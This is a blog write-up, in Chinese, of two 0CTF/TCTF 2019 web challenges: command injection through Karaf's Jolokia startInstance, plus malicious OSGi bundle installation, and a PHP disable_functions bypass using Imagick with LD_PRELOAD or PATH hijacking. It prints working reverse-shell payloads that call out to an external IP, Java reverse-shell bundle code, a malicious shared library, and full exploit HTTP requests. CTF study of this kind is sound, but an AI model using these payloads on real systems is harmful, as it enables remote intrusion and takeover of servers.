Learning Man's Blog

0CTF/TCTF 2019 WEB writeup

字数统计: 2.7k阅读时长: 14 min
2019/03/30

0x01 Ghost Pepper

题目

karaf + jolokia

解题思路

官方文档部分内容:

Instance

跟入startInstace,可以看到除了第一种重载外,在instance启动时都加载了opts参数

// org.apache.karaf.instance.core.internal.InstancesMBeanImpl#startInstance(...)

public void startInstance(String name) throws MBeanException {
    try {
        getExistingInstance(name).start(null); // HERE
    } catch (Exception e) {
        throw new MBeanException(null, e.toString());
    }
}

public void startInstance(String name, String opts) throws MBeanException {
    try {
        getExistingInstance(name).start(opts); // HERE
    } catch (Exception e) {
        throw new MBeanException(null, e.toString());
    }
}

public void startInstance(String name, String opts, boolean wait, boolean debug) throws MBeanException {
    try {
        Instance child = getExistingInstance(name);
        String options = opts;
        if (options == null) {
            options = child.getJavaOpts();
        }
        if (options == null) {
            options = DEFAULT_OPTS;
        }
        if (debug) {
            options += DEBUG_OPTS;
        }
        if (wait) {
            String state = child.getState();
            if (Instance.STOPPED.equals(state)) {
                child.start(opts);
            }
            if (!Instance.STARTED.equals(state)) {
                do {
                    Thread.sleep(500);
                    state = child.getState();
                } while (Instance.STARTING.equals(state));
            }
        } else {
            child.start(opts); // HERE
        }
    } catch (Exception e) {
        throw new MBeanException(null, e.toString());
    }
}

跟入startInstance后,在doStart中加载 opts 变量

// org.apache.karaf.instance.core.internal.InstanceServiceImpl#startInstance
public void startInstance(final String name, final String javaOpts) {
    execute(state -> {
        InstanceState instance = state.instances.get(name);
        if (instance == null) {
            throw new IllegalArgumentException("Instance " + name + " not found");
        }
        checkPid(instance);
        if (instance.pid != 0) {
            throw new IllegalStateException("Instance already started");
        }
        doStart(instance, name, javaOpts);
        return null;
    }, true);
}

跟入doStart后,可见opts被拼接到command中并带入到新进程中

// org.apache.karaf.instance.core.internal.InstanceServiceImpl#doStart
private void doStart(InstanceState instance, String name, String javaOpts) throws IOException {
    String opts = javaOpts;
    if (opts == null || opts.length() == 0) {
        opts = instance.opts;
    }
    if (opts == null || opts.length() == 0) {
        opts = DEFAULT_JAVA_OPTS;
    }

    ...
    String command = "\""
            + new File(System.getProperty("java.home"), ScriptUtils.isWindows() ? "bin\\java.exe" : "bin/java").getCanonicalPath()
            + "\" " + opts
            + " " + karafOpts
            + " " + jdkOpts
            + " -Djava.util.logging.config.file=\"" + new File(location, "etc/java.util.logging.properties").getCanonicalPath() + "\""
            + " -Dkaraf.home=\"" + System.getProperty("karaf.home") + "\""
            + " -Dkaraf.base=\"" + new File(location).getCanonicalPath() + "\""
            + " -Dkaraf.data=\"" + new File(new File(location).getCanonicalPath(), "data") + "\""
            + " -Dkaraf.etc=\"" + new File(new File(location).getCanonicalPath(), "etc") + "\""
            + " -Dkaraf.log=\"" + new File(new File(new File(location).getCanonicalFile(), "data"), "log") + "\""
            + " -Djava.io.tmpdir=\"" + new File(new File(location).getCanonicalPath(), "data" + File.separator + "tmp") + "\""
            + " -Dkaraf.startLocalConsole=false"
            + " -Dkaraf.startRemoteShell=true"
            + " -classpath \"" + classpath.toString() + "\""
            + " org.apache.karaf.main.Main server";
    if (System.getenv("KARAF_REDIRECT") != null && !System.getenv("KARAF_REDIRECT").isEmpty()) {
        command = command + " >> " + System.getenv("KARAF_REDIRECT");
    }

    LOGGER.debug("Starting instance " + name + " with command: " + command);
    Process process = new ProcessBuilderFactoryImpl().newBuilder()
            .directory(new File(location))
            .command(command)
            .start();
    instance.pid = process.getPid();
}
// org.apache.karaf.jpm.impl.ProcessImpl#create
public static Process create(File dir, String command) throws IOException {
    ...
    try {
        ...
        if (ScriptUtils.isWindows()) {
            command = command.replaceAll("\"", "\"\"");
        }
        props.put("${command}", command);
        int ret = ScriptUtils.execute("start", props);
        if (ret != 0) {
            throw new IOException("Unable to create process (error code: " + ret + ")");
        }
        ...
    } finally {
        ...
    }
}

最后跟入到这里,基本确定是通过替换unix/start.sh${command}替换为opts后执行,且没有过滤

// org.apache.karaf.jpm.impl.ScriptUtils
public static int execute(String name, Map<String, String> props) throws IOException {
    File script = File.createTempFile("jpm.", ".script");
    try {
        if (isWindows()) {
            ...
        } else {
            String res = "unix/" + name + ".sh";
            ScriptUtils.copyFilteredResource(res, script, props);
            return executeProcess(new java.lang.ProcessBuilder("/bin/sh", script.getCanonicalPath()));
        }
    } finally {
        script.delete();
    }
}

public static void copyFilteredResource(String resource, File outFile, Map<String, String> props) throws IOException {
    InputStream is = null;
    try {
        is = ScriptUtils.class.getResourceAsStream(resource);
        ...
        PrintStream out = new PrintStream(new FileOutputStream(outFile));
        try {
            Scanner scanner = new Scanner(is);
            while (scanner.hasNextLine() ) {
                String line = scanner.nextLine();
                line = filter(line, props);
                ...
  ...
}

private static String filter(String line, Map<String, String> props) {
    for (Map.Entry<String, String> i : props.entrySet()) {
        int p1 = line.indexOf(i.getKey());
        if( p1 >= 0 ) {
            String l1 = line.substring(0, p1);
            String l2 = line.substring(p1+i.getKey().length());
            line = l1+i.getValue()+l2;
        }
    }
    return line;
}

通过拼接完整命令过于复杂,不如直接使用||直接使前面的命令错误后执行恶意代码并使用#忽略后面的命令

any sh script code || exp code # comment code

  • createInstance 可以还有p9,默认值为localhost
  • startInstance 必须是argc == 2 or 4,因为这样才会加载opts

关键的接口

{
    "org.apache.karaf":
    {
        "name=root,type=instance":
        {
            "op":
            {
                "createInstance": [
                {
                    "args": [
                    {
                        "name": "p1",
                        "type": "java.lang.String",
                        "desc": ""
                    },
                    {
                        "name": "p2",
                        "type": "int",
                        "desc": ""
                    },
                    {
                        "name": "p3",
                        "type": "int",
                        "desc": ""
                    },
                    {
                        "name": "p4",
                        "type": "int",
                        "desc": ""
                    },
                    {
                        "name": "p5",
                        "type": "java.lang.String",
                        "desc": ""
                    },
                    {
                        "name": "p6",
                        "type": "java.lang.String",
                        "desc": ""
                    },
                    {
                        "name": "p7",
                        "type": "java.lang.String",
                        "desc": ""
                    },
                    {
                        "name": "p8",
                        "type": "java.lang.String",
                        "desc": ""
                    }],
                    "ret": "int",
                    "desc": "Operation exposed for management"
                }],
                "cloneInstance":
                {
                    "args": ["..."],
                    "ret": "void",
                    "desc": "Operation exposed for management"
                },
                "startInstance":
                {
                    "args": [
                    {
                        "name": "p1",
                        "type": "java.lang.String",
                        "desc": ""
                    },
                    {
                        "name": "p2",
                        "type": "java.lang.String",
                        "desc": ""
                    }],
                    "ret": "void",
                    "desc": "Operation exposed for management"
                }
            }
        }
    }
}

创建instance,这里可以选择填或不填opts

-w1001

启动instance

{
    "type" : "exec",
    "mbean" : "org.apache.karaf:name=root,type=instance",
    "operation": "startInstance(java.lang.String,java.lang.String)",
    "arguments": ["expIns","|| /bin/bash -i >& /dev/tcp/132.232.84.148/9991 0>&1 #"]
}

反弹shell,获取flag

-w327

bundle

  1. 可用于远程安装bundle的接口
{
    "org.apache.karaf":
    {
        "name=root,type=bundle":
        {
            "op":
            {
                "install": [
                {
                    "args": [
                    {
                        "name": "p1",
                        "type": "java.lang.String",
                        "desc": ""
                    }],
                    "ret": "long",
                    "desc": "Operation exposed for management"
                },
                {
                    "args": [
                    {
                        "name": "p1",
                        "type": "java.lang.String",
                        "desc": ""
                    },
                    {
                        "name": "p2",
                        "type": "boolean",
                        "desc": ""
                    }],
                    "ret": "long",
                    "desc": "Operation exposed for management"
                }]
            }
        }
    },
    "osgi.core":
    {
        "framework=org.eclipse.osgi,type=framework,uuid=de99e068-9c3d-43ec-9355-ae980625a263,version=1.7":
        {
            "op":
            {

                "installBundleFromURL":
                {
                    "args": [
                    {
                        "name": "p1",
                        "type": "java.lang.String",
                        "desc": ""
                    },
                    {
                        "name": "p2",
                        "type": "java.lang.String",
                        "desc": ""
                    }],
                    "ret": "long",
                    "desc": "Operation exposed for management"
                }
            }
        }
    }
}

对应安装请求

# 这个没看到相关文档
{
    "type": "exec",
    "mbean": "org.apache.karaf:name=root,type=bundle",
    "operation": "install(java.lang.String)",
    "arguments": ["http://<url>/<filename>.jar"]
}

# https://osgi.org/javadoc/r5/enterprise/org/osgi/jmx/framework/FrameworkMBean.html
{
    "type": "exec",
    "mbean": "osgi.core:framework=org.eclipse.osgi,type=framework,uuid=92c6536a-252a-4073-9d86-6de14c65b099,version=1.7",
    "operation": "installBundleFromURL",
    "arguments": [
        "<custom>",
        "http://<url>/<filename>.jar"
    ]
}
  1. 启动bundle
{
    "type": "exec",
    "mbean": "org.apache.karaf:name=root,type=bundle",
    "operation": "start",
    "arguments": ["<id>"]
}

思路:通过上面的jmx接口直接安装bundle,再请求启动,通过构造恶意bundle反弹shell

bundle构造参考:https://chenjingbo.iteye.com/blog/1893597
反弹shell参考:https://gist.github.com/caseydunham/53eb8503efad39b83633961f12441af0

import org.osgi.framework.BundleActivator;
import org.osgi.framework.BundleContext;

import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;

public class Activator implements BundleActivator {
    @Override
    public void start(BundleContext context) throws Exception {
        try {
            try {
                String host = "132.232.84.148";
                int port = 9991;
                Socket s = new Socket(host, port);
                String cmd = "/bin/sh";
                Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
                InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();
                OutputStream po = p.getOutputStream(), so = s.getOutputStream();
                while (!s.isClosed()) {
                    while (pi.available() > 0)
                        so.write(pi.read());
                    while (pe.available() > 0)
                        so.write(pe.read());
                    while (si.available() > 0)
                        po.write(si.read());
                    so.flush();
                    po.flush();
                    Thread.sleep(50);
                }
                p.destroy();
                s.close();
            } catch (Exception e) {
                e.printStackTrace();
            }
        } catch (Exception e) {
        }
    }

    @Override
    public void stop(BundleContext context) throws Exception {
        System.out.println("GoodDay Sariel.D");
    }
}

请求安装bundle,从response中获取id

-w1008

启动bundle,反弹shell,获取flag

-w329

webconsole

Webconsole - https://karaf.apache.org/manual/latest/#_webconsole_2

思路:通过installFeature接口安装webconsole直接通过web terminal获取flag

{
    "org.apache.karaf":
    {
        "name=root,type=feature":
        {
            "op":
            {
                "installFeature":
                {
                    "args": [
                    {
                        "name": "p1",
                        "type": "java.lang.String",
                        "desc": ""
                    }],
                    "ret": "void",
                    "desc": "Operation exposed for management"
                }
            }
        }
    }
}

请求安装webconsole

# Request
http://111.186.63.207:31337/jolokia/exec/org.apache.karaf:name=root,type=feature/installFeature(java.lang.String)/webconsole

# Response
{"request":{"mbean":"org.apache.karaf:name=root,type=feature","arguments":["webconsole"],"type":"exec","operation":"installFeature(java.lang.String)"},"value":null,"timestamp":1553784696,"status":200}

访问 http://111.186.63.207:31337/system/console/gogo

0x02 Wallbreaker Easy

题目

Imagick is a awesome library for hackers to break disable_functions.
So I installed php-imagick in the server, opened a backdoor for you.
Let’s try to execute /readflag to get the flag.
Open basedir: /var/www/html:/tmp/ebfefbea019329429795eddb87a42b03
Hint: eval($_POST[“backdoor”]);

题目提示

  1. open basedir
  2. bypass disable_functions

查看一下被禁用的函数

pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail

解题思路

putenv — 设置环境变量的值

(PHP 4, PHP 5, PHP 7)

putenv ( string $setting ) : bool

添加 setting 到服务器环境变量。 环境变量仅存活于当前请求期间。 在请求结束时环境会恢复到初始状态。

设置特定的环境变量也有可能是一个潜在的安全漏洞。 safe_mode_allowed_env_vars 包含了一个以逗号分隔的前缀列表。 在安全模式下,用户可以仅能修改用该指令设定的前缀名称的指令。 默认情况下,用户仅能够修改以 PHP_ 开头的环境变量(例如 PHP_FOO=BAR)。 注意:如果此指令是空的,PHP允许用户设定任意环境变量!

可以利用的两种姿势

  1. 巧用LD_PRELOAD突破disable_functions
  2. putenv代替LD_PRELOAD设定PATH

LD_PRELOAD

Orz当时没有仔细看完文章,在文章最下面提到了预加载时执行恶意代码。

通过设置函数属性使恶意函数在main前执行(实际上恶意bin内并没有main)

void __attribute__((constructor)) callFunction();

相关链接:

  1. https://www.geeksforgeeks.org/__attribute__constructor-__attribute__destructor-syntaxes-c/
  2. https://gcc.gnu.org/onlinedocs/gcc-6.2.0/gcc/Common-Function-Attributes.html

思路:编译so目标执行/readflag或者反弹shell,在远程服务器上下载so文件,putenv设置LD_PRELOAD为so路径,利用Imagick创建新进程加载共享对象so执行恶意代码

准备恶意exp.so

#define _GUN_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

__attribute__((__constructor__)) void preload(void){
    system("/readflag > /tmp/67a58821b4954ed1fc03f797da745bbc/flag");
}

编译,默认64位(若需86位添加-m32

gcc -shared -fPIC exp -o exp.so

几种远程文件下载方式

file_put_contents('/local/path/filename', fopen('http://url/filename', 'r'));
copy('http://url/filename', '/local/path/filename');

Request 数据包

Content-Type: multipart/form-data; boundary=--------414593323

----------414593323
Content-Disposition: form-data; name="backdoor"


echo('---start---\n');
copy('http://url/exp.so', '/tmp/67a58821b4954ed1fc03f797da745bbc/exp.so');
file_put_contents('/tmp/67a58821b4954ed1fc03f797da745bbc/1.png', base64_decode('iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVQImWP4////fwAJ+wP9CNHoHgAAAABJRU5ErkJggg=='));
putenv('LD_PRELOAD=/tmp/67a58821b4954ed1fc03f797da745bbc/exp.so');
$c = new Imagick('/tmp/67a58821b4954ed1fc03f797da745bbc/1.png');
$c -> writeImage('/tmp/67a58821b4954ed1fc03f797da745bbc/1.wmv');
echo('---end---');

----------414593323--

putenv

除了利用Imagick创建新进程加载共享对象时注入恶意代码,可以直接利用putenv设定在恶意path下寻找目标bin,而通过恶意bin和目标bin重名,使得恶意代码被主动执行

Imagick在进行图片格式转换时部分是委托(delegate)给外部程序来实现,以bpg为例,会在执行目录下搜索bpgenc程序

<!-- config/delegates.xml.in -->
<delegatemap>
  <delegate decode="bpg" command="&quot;@BPGDecodeDelegate@&quot; -b 16 -o &quot;%o.png&quot; &quot;%i&quot;; @MVDelegate@ &quot;%o.png&quot; &quot;%o&quot;"/>

configure.ac文件声明的外部调用程序基本都可用于实现攻击

# configure.ac
BPGDecodeDelegateDefault='bpgdec'

本地尝试转换png为bpg,可以看到php尝试execve进程执行

root@test:/tmp# strace -f php test.php 2>&1 | grep -A2 -B2 execve
execve("/usr/bin/php", ["php", "test.php"], 0x7ffedbee34b0 /* 40 vars */) = 0
brk(NULL)                               = 0x55d9adb9c000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
--
 
[pid 23113] set_robust_list(0x7f25bc716e60, 24) = 0
[pid 23113] execve("/usr/local/sbin/bpgenc", ["bpgenc", "-b", "12", "-o", "/tmp/magick-23112Am2ebtcfSZD8", "/tmp/magick-23112dDlqBux48E4B"], 0x55d9adbade70 /* 40 vars */) = -1 ENOENT (No such file or directory)
[pid 23113] execve("/usr/local/bin/bpgenc", ["bpgenc", "-b", "12", "-o", "/tmp/magick-23112Am2ebtcfSZD8", "/tmp/magick-23112dDlqBux48E4B"], 0x55d9adbade70 /* 40 vars */) = -1 ENOENT (No such file or directory)
[pid 23113] execve("/usr/sbin/bpgenc", ["bpgenc", "-b", "12", "-o", "/tmp/magick-23112Am2ebtcfSZD8", "/tmp/magick-23112dDlqBux48E4B"], 0x55d9adbade70 /* 40 vars */) = -1 ENOENT (No such file or directory)
[pid 23113] execve("/usr/bin/bpgenc", ["bpgenc", "-b", "12", "-o", "/tmp/magick-23112Am2ebtcfSZD8", "/tmp/magick-23112dDlqBux48E4B"], 0x55d9adbade70 /* 40 vars */) = -1 ENOENT (No such file or directory)
[pid 23113] execve("/sbin/bpgenc", ["bpgenc", "-b", "12", "-o", "/tmp/magick-23112Am2ebtcfSZD8", "/tmp/magick-23112dDlqBux48E4B"], 0x55d9adbade70 /* 40 vars */) = -1 ENOENT (No such file or directory)
[pid 23113] execve("/bin/bpgenc", ["bpgenc", "-b", "12", "-o", "/tmp/magick-23112Am2ebtcfSZD8", "/tmp/magick-23112dDlqBux48E4B"], 0x55d9adbade70 /* 40 vars */) = -1 ENOENT (No such file or directory)

思路:通过生成bpgenc程序(赋予执行权限),putenv设置PATH为bin所在路径,这样imagick转换bpg文件时即会执行bpgenc。反弹shell或者直接读取flag均可

POST / HTTP/1.1
Host: 111.186.63.208:31340
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36
DNT: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=--------414593323
Content-Length: 714

----------414593323
Content-Disposition: form-data; name="backdoor"


echo('---start---\n');
file_put_contents('/tmp/67a58821b4954ed1fc03f797da745bbc/bpgenc', "#!/bin/bash\n/bin/bash -i >& /dev/tcp/132.***.***.***/8088 0>&1");
file_put_contents('/tmp/67a58821b4954ed1fc03f797da745bbc/1.png', base64_decode('iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVQImWP4////fwAJ+wP9CNHoHgAAAABJRU5ErkJggg=='));
putenv('PATH=/tmp/67a58821b4954ed1fc03f797da745bbc/');
chmod('/tmp/67a58821b4954ed1fc03f797da745bbc/bpgenc', 0777);
$c = new Imagick();
$c -> readImage('/tmp/67a58821b4954ed1fc03f797da745bbc/1.png');
$c -> writeImage('/tmp/67a58821b4954ed1fc03f797da745bbc/1.bpg');
echo('---end---');

----------414593323--

获取flag

[root@vm_0_17_centos ~]# nc -lvvp 8088
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::8088
Ncat: Listening on 0.0.0.0:8088
Ncat: Connection from 111.186.63.208.
Ncat: Connection from 111.186.63.208:49820.
bash: cannot set terminal process group (8): Inappropriate ioctl for device
bash: no job control in this shell
bash: groups: command not found
www-data@5ad7cec6b953:~/html$ /readflag
/readflag
flag{PUTENVANDIMAGICKAREGOODFRIENDS}

参考资料(其它)

  1. https://paper.tuisec.win/detail/d4ba64dd4d1dc38
  2. https://touhidshaikh.com/blog/?p=827
CATALOG
  1. 1. 0x01 Ghost Pepper
  2. 2. 0x02 Wallbreaker Easy
  3. 3. 参考资料(其它)